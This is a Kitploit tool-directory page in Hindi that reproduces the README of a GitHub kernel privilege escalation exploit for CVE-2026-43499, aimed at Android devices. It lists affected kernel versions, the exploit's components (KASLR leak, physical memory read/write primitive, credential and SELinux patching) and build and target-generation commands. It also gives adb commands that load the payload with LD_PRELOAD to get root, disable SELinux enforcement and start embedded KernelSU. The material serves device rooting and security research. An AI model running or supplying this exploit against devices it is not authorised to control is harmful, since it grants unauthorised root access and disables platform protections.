Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-43499-root-KernelSU — # कर्नेल भेद्यता CVE-2026-43499 पर आधारित स्थानीय विशेषाधिकार वृद्धि अनुकूलन, एकीकृत एम्बेडेड KernelSU। CVE-2026-43499+KernelSU जेलब्रेक मोड | Kitploit
उपकरण/GitHubGitHub/woshimaniubi8/cve-2026-43499-root-kernelsu
एंड्रॉइड सुरक्षाविशेषाधिकार वृद्धिशोषणपेलोड डेवलपमेंटबाइनरी शोषण
GitHubwoshimaniubi8/cve-2026-43499-root-kernelsu

CVE-2026-43499-root-KernelSU

# कर्नेल भेद्यता CVE-2026-43499 पर आधारित स्थानीय विशेषाधिकार वृद्धि अनुकूलन, एकीकृत एम्बेडेड KernelSU। CVE-2026-43499+KernelSU जेलब्रेक मोड

रिपॉजिटरी देखें

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
183633 महीने पहलेKitploit द्वारा समीक्षित
# CVE-2026-43499-root-KernelSU

कर्नेल भेद्यता CVE-2026-43499 पर आधारित स्थानीय विशेषाधिकार वृद्धि अनुकूलन, जिसमें एम्बेडेड KernelSU एकीकृत है। `preload.so` संकलित करके उत्पन्न होता है; सफल ट्रिगर होने पर KernelSU `late-load` मोड (जेलब्रेक मोड) में प्रारंभ होगा। `(xbl_config.img / vendor_boot.img) + boot.img` से `target.h` उत्पन्न करने का समर्थन करता है।

संदर्भित परियोजनाएँ:

- [Linuxoid-cn/CVE-2026-43499-Poc-Analysis](https://github.com/Linuxoid-cn/CVE-2026-43499-Poc-Analysis/)
- [x-spy/CVE-2026-43499-popsicle](https://github.com/x-spy/CVE-2026-43499-popsicle)
- [Colorful-glassblock/duchamp-root](https://github.com/Colorful-glassblock/duchamp-root)

>[!IMPORTANT]
>The unauthorized exploitation of vulnerabilities to damage, compromise, or gain access to computer systems is prohibited by law. This project is provided strictly for research, educational, and learning purposes, and may only be used in systems and environments for which prior authorization has been granted. Any use of this project is undertaken at the user's own risk. The authors and contributors assume no liability for any misuse of this project or for any damages, losses, or legal consequences resulting from its use.
>
>अस्वीकरण: बिना अधिकार के भेद्यताओं का उपयोग करके कंप्यूटर सिस्टम को नुकसान पहुँचाना, उसमें घुसपैठ करना या अनधिकृत पहुँच प्राप्त करना प्रासंगिक कानूनों और विनियमों का उल्लंघन हो सकता है। यह परियोजना केवल उन सिस्टम और वातावरणों में सुरक्षा अनुसंधान, अध्ययन और परीक्षण उद्देश्यों के लिए सीमित है जिनके लिए वैध प्राधिकरण प्राप्त किया गया है। इस परियोजना के उपयोग, दुरुपयोग या संशोधन से उत्पन्न होने वाले किसी भी प्रत्यक्ष या अप्रत्यक्ष नुकसान, कानूनी दायित्व और अन्य परिणामों के लिए उपयोगकर्ता स्वयं जिम्मेदार होगा, परियोजना लेखक और योगदानकर्ता कोई जिम्मेदारी नहीं लेते हैं।

## प्रभाव क्षेत्र

**जब आपका कर्नेल संस्करण {Linux Kernel} है, तो यह इस भेद्यता के प्रभाव क्षेत्र में आता है**

- Linux Kernel < commit **3bfdc63936dd4773109b7b8c280c0f3b5ae7d349**

- **2.6.39** <=  {Linux Kernel} < **6.1.175**
- **6.2** <=  {Linux Kernel} < **6.6.140**
- **6.7** <=  {Linux Kernel} < **6.12.86**
- **6.13** <=  {Linux Kernel} < **6.18.27**
- **6.19** <=  {Linux Kernel} < **7.0.4**


## वर्तमान स्थिति

| Target | स्थिति |
| --- | --- |
| `rodin` (डिफ़ॉल्ट) | सत्यापित |
| अन्य `src/targets/*` | संदर्भ |

## निर्देशिका संरचना

```text
.
├── Makefile
├── build/
│   └── embed/
│       └── ksud                 # preload.so में एम्बेड किया गया KernelSU userspace बाइनरी
├── tools/
│   ├── generate_target.py       # इस रिपॉज़िटरी का एकीकृत target.h जनरेशन प्रवेश बिंदु
│   └── vendor/                  # पैरेंट निर्देशिका से सिंक किए गए मूल जनरेशन सहायक स्क्रिप्ट
└── src/
    ├── main.c                   # exploit मुख्य प्रवाह
    ├── preload.c                # LD_PRELOAD constructor + ksud लिखना/प्रारंभ करना
    ├── root.c                   # cred/seccomp/SELinux/root patch
    ├── slide.c                  # pselect KASLR slide leak
    ├── fops.c                   # pselect/FOPS route
    ├── pipe.c                   # pipe-buffer phys R/W primitive
    ├── ksud_blob.S              # .incbin build/embed/ksud
    ├── kernelsnitch/            # KernelSnitch सहायक
    └── targets/
        ├── rodin/
        ├── beryl/
        └── ...
```

## निर्माण


### निर्भरताएँ

- Linux host
- Android NDK
  - डिफ़ॉल्ट पथ: `~/android-ndk-r29`
  - या सेट करें: `ANDROID_NDK_HOME` / `ANDROID_NDK_ROOT` / `NDK_ROOT`
- `make`
- `git`

### निर्माण

```bash
make PROJECT=<target> -j$(nproc)
```

आउटपुट:

```text
build/<target>/bin/preload.so
```

### उपलब्ध target देखें

```bash
make list-projects
```

## target.h उत्पन्न करना

इस रिपॉज़िटरी में पहले से ही एकीकृत target जनरेशन स्क्रिप्ट शामिल है:

```text
tools/generate_target.py
tools/vendor/generate_target.py
tools/vendor/generate_target_2.py
tools/vendor/detect_offset.py
```

`tools/generate_target.py` प्रवेश स्क्रिप्ट है। यह पैरेंट निर्देशिका की सभी target जनरेशन प्रक्रियाओं को संदर्भित और समाहित करता है, और अंत में इस रिपॉज़िटरी के स्रोत कोड के अनुकूल पूर्ण `src/targets/<project>/target.h` आउटपुट करता है।

स्क्रिप्ट IKCONFIG में `CONFIG_DEBUG_INFO_BTF=y` को अनिवार्य रूप से सत्यापित नहीं करती है। यदि संरचना फ़ील्ड ऑफ़सेट या percpu `entry_task` लेआउट सत्यापित नहीं किया जा सकता है, तो यह चेतावनी प्रिंट करेगी और जनरेशन जारी रखेगी।

यदि इमेज में कोई उपयोगी BTF उपलब्ध नहीं है, जैसे कि दिखाई दे:

```text
有效 vmlinux BTF 候选不唯一: []
```

जनरेटर **बिना BTF fallback** में प्रवेश करेगा:

- वर्तमान `boot.img` के kallsyms से फ़ंक्शन/ग्लोबल ऑब्जेक्ट प्रतीक ऑफ़सेट पुनर्प्राप्त करना जारी रखेगा;
- BTF से पुनर्प्राप्त नहीं किए जा सकने वाले संरचना फ़ील्ड/layout मैक्रोज़ टेम्पलेट target से विरासत में मिलेंगे, डिफ़ॉल्ट टेम्पलेट `rodin` है;
- उत्पन्न header के शीर्ष पर warning लिखी जाएगी, जो `without BTF` और उपयोग किए गए टेम्पलेट को दर्शाती है;
- ऐसा header यथासंभव संकलन योग्य होने की गारंटी देता है, लेकिन रनटाइम विश्वसनीयता के लिए वास्तविक डिवाइस पर सत्यापन आवश्यक है।

fallback टेम्पलेट निर्दिष्ट किया जा सकता है:

```bash
tools/generate_target.py --project <project> --boot boot.img --profile profile.json --template-target rodin
# या
TARGET_TEMPLATE=rodin tools/generate_target.py --project <project> --boot boot.img --profile profile.json
```

#### 1. boot.img + profile JSON का उपयोग करके उत्पन्न करना

```bash
make generate-target PROJECT=<project> BOOT=/path/to/boot.img PROFILE=/path/to/profile.json
```

डिफ़ॉल्ट रूप से लिखा जाता है:

```text
src/targets/<project>/target.h
```

स्क्रिप्ट को सीधे भी कॉल किया जा सकता है:

```bash
tools/generate_target.py --project <project> --boot /path/to/boot.img --profile /path/to/profile.json
```

`profile.json` में भौतिक पता जानकारी शामिल होनी चाहिए, उदाहरण के लिए:

```json
{
  "p0_phys_offset": "0x40000000",
  "p0_kernel_phys_load": "0x40000000"
}
```

#### 2. पहले से root किए गए ADB डिवाइस से profile का पता लगाना

केवल profile उत्पन्न करें:

```bash
make detect-profile PROFILE_OUT=profile.json
```

profile का पता लगाएं और तुरंत target उत्पन्न करें:

```bash
tools/generate_target.py --project <project> --boot /path/to/boot.img \
  --detect-adb-and-generate --profile-out profile.json
```

#### 3. (xbl_config.img / vendor_boot.img) + boot.img से उत्पन्न करना

स्क्रिप्ट पैरेंट निर्देशिका जनरेटर द्वारा समर्थित अन्य प्रवेश बिंदुओं को भी उजागर करती है:

```bash
tools/generate_target.py --project <project> --boot boot.img --xbl-config xbl_config.img

tools/generate_target.py --project <project> --boot boot.img --mtk-vendor-boot vendor_boot.img

tools/generate_target.py --project <project> --boot boot.img --mtk-partitions /path/to/partitions
```

##### उदाहरण

```bash
make generate-target PROJECT=rodin BOOT=../rodin/boot_a PROFILE=../profile.json
make generate-target PROJECT=beryl BOOT=../beryl/boot.img PROFILE=../profile.json
```

सफल आउटपुट रूप:

```text
生成成功: .../src/targets/<project>/target.h
kernel SHA-256: <sha256>
target macros: 168
```

`rodin` डिफ़ॉल्ट रूप से वास्तविक डिवाइस पर सत्यापित निम्नलिखित को बनाए रखेगा:

```c
#define MM_STRUCT_SZ 0x500
```

ओवरराइड करने के लिए:

```bash
tools/generate_target.py --project rodin --boot boot.img --profile profile.json --mm-struct-sz 0x...
```

## नया target जोड़ना

मिलान वाली boot image और profile से उत्पन्न करने की अनुशंसा की जाती है:

```bash
make generate-target PROJECT=<project> BOOT=/path/to/boot.img PROFILE=/path/to/profile.json
make PROJECT=<project> -j$(nproc)
```

एक पूर्ण target header में शामिल होगा:

- direct map / physical profile स्थिरांक
- KASLR slide ऑब्जेक्ट ऑफ़सेट
- task / cred / SELinux ऑफ़सेट
- pipe / fops / configfs ऑफ़सेट
- pselect layout मान, जैसे `PSELECT_WAITER_WORD_SHIFT`
- `MM_STRUCT_SZ` और KernelSnitch ट्यूनिंग मान

## चलाना

वर्तमान स्रोत कोड में डिफ़ॉल्ट मान लिखे गए हैं, सामान्य चलाने के लिए केवल `LD_PRELOAD` सेट करना और कोई भी प्रोग्राम निष्पादित करना आवश्यक है (अनुशंसित: `toybox id`)।

```bash
adb push build/rodin/bin/preload.so /data/local/tmp/preload.so
adb shell 'chmod 755 /data/local/tmp/preload.so'
adb shell 'LD_PRELOAD=/data/local/tmp/preload.so /system/bin/toybox id'
```

## डिफ़ॉल्ट रनटाइम पैरामीटर

वर्तमान डिफ़ॉल्ट कॉन्फ़िगरेशन इस प्रकार है:

| सेटिंग | डिफ़ॉल्ट मान | विवरण |
| --- | --- | --- |
| `KSUD_LATE_LOAD` | `1` | `ksud late-load` निष्पादित करता है |
| `KSUD_ALLOW_SHELL` | `1` | `--allow-shell` पास करता है |
| `KSUD_PACKAGE` | `me.weishu.kernelsu` | ksud को दिया गया प्रबंधक पैकेज नाम (प्रभावी नहीं लगता) |
| `KSUD_DST` | `/data/local/tmp/ksud` | अंतर्निहित ksud लिखने का पथ |
| `KSUD_SKIP_WRITE` | `0` | डिफ़ॉल्ट रूप से अंतर्निहित ksud लिखता है |
| `KSUD_DEFER_TO_PARENT` | `1` | पहले से patched पैरेंट/वर्तमान प्रक्रिया पथ से ksud प्रारंभ करता है |
| `ROOT_PATCH_SELF` | `1` | वर्तमान प्रक्रिया को uid 0 में patch करता है |
| `DISABLE_SELINUX` | `1` | root patch के समय SELinux enforcing को permissive में लिखता है |
| `ROOT_EXIT_SLEEP` | unset / `0` | लौटने से पहले अतिरिक्त sleep नहीं करता |

डिफ़ॉल्ट रूप से वास्तव में निष्पादित ksud कमांड व्यवहार:

```bash
/data/local/tmp/ksud late-load --allow-shell --package-name me.weishu.kernelsu
```

इन पर्यावरण चरों को रनटाइम पर ओवरराइड किया जा सकता है, उदाहरण के लिए:

```bash
adb shell 'KSUD_PACKAGE=com.example.manager LD_PRELOAD=/data/local/tmp/preload.so /system/bin/toybox id'
```

पहले से लिखे गए `ksud` का पुन: उपयोग करना:

```bash
adb shell 'KSUD_SKIP_WRITE=1 LD_PRELOAD=/data/local/tmp/preload.so /system/bin/toybox id'
```

## सफाई

```bash
make clean
```

`make clean` `build/embed/ksud` को बनाए रखेगा, क्योंकि `src/ksud_blob.S` इसे निम्नलिखित तरीके से एम्बेड करता है:

```asm
.incbin "build/embed/ksud"
```

यदि मैन्युअल सफाई के कारण `build/embed/ksud` खो जाता है, तो इसे पुनर्स्थापित किया जा सकता है:

```bash
git checkout -- build/embed/ksud
```

## सामान्य समस्याएँ

### `.incbin "build/embed/ksud"` not found

अंतर्निहित payload को पुनर्स्थापित करके पुनः निर्माण करें:

```bash
git checkout -- build/embed/ksud
make PROJECT=rodin -j$(nproc)
```

### FOPS route `success=0` लौटाता है

`rodin` legacy/simple pselect layout की अपेक्षा करता है:

```text
pselect fdset simple layout shift=0
pselect returned attempt=1 ret=9 ... success=1
```

यदि डिवाइस की स्थिति असफल प्रयासों से दूषित हो गई है, तो सीधे पुनः आरंभ करके पुनः प्रयास करें:

```bash
adb reboot
```

### `F_SETPIPE_SZ` `EPERM` लौटाता है

आमतौर पर असफल/अवशिष्ट प्रयासों के कारण स्थिति समस्या होती है, पुनः आरंभ करना सबसे तेज़ सफाई विधि है:

```bash
adb reboot
```

### `ksud` प्रारंभ होता है लेकिन `/proc/modules` में KernelSU नहीं है

लॉग देखें:

```bash
adb shell 'cat /data/local/tmp/ksud.log /data/local/tmp/ksud.preload.log 2>/dev/null || true'
```

आवश्यक होने पर root shell में मैन्युअल रूप से चलाएँ:

```bash
/data/local/tmp/ksud late-load --allow-shell --package-name me.weishu.kernelsu
```

## License

GPL-3.0. See [`LICENSE`](https://github.com/woshimaniubi8/cve-2026-43499-root-kernelsu/blob/main/LICENSE).
टूल डाउनलोड करें